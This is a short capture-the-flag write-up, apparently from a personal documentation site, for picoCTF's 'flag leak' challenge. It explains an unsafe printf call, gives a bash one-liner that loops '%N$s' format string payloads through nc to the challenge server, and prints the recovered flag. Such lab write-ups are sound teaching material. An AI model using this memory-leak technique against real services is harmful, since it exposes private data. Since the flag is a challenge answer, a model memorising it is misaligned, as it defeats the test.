> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/flag-leak.md).

# flag leak

<img src="https://github.com/user-attachments/assets/710b3a33-7d4a-4ad6-bbbc-df6a40e9a891" alt="image" height="659" width="630">

> While looking at the source code, I noticed that the `printf` function was not used securely. It was directly printing user input without specifying a proper format string (like `%s`).
>
> Since I’m not a developer, I wasn’t fully sure at first, but I tried a brute-force format string attack by iterating through different stack offsets.
>
> I used a loop to send payloads like `%1$s`, `%2$s`, `%3$s`, and so on to the remote service.
>
> After testing multiple offsets, I was able to leak memory from the stack and eventually found the flag:
>
> `picoCTF{L34k1ng_Fl4g_0ff_St4ck_11a2b52a}`

```bash
for i in {1..100}; do echo "%$i\$s" | nc saturn.picoctf.net 57737; done
```

* Loops from **1 to 100**
* Each value of `i` is used as a **stack offset**
* `%i$s` → tells `printf`:

  > “Go to the i-th argument on the stack and print it as a string”

Examples:

* `%1$s` → first value on stack
* `%2$s` → second value
* `%10$s` → tenth value

#### 3. Why `\$` ?

* `$` has special meaning in bash (variable expansion)
* So you escape it using `\` → `\$`
* This ensures `%1$s` is sent correctly to the program
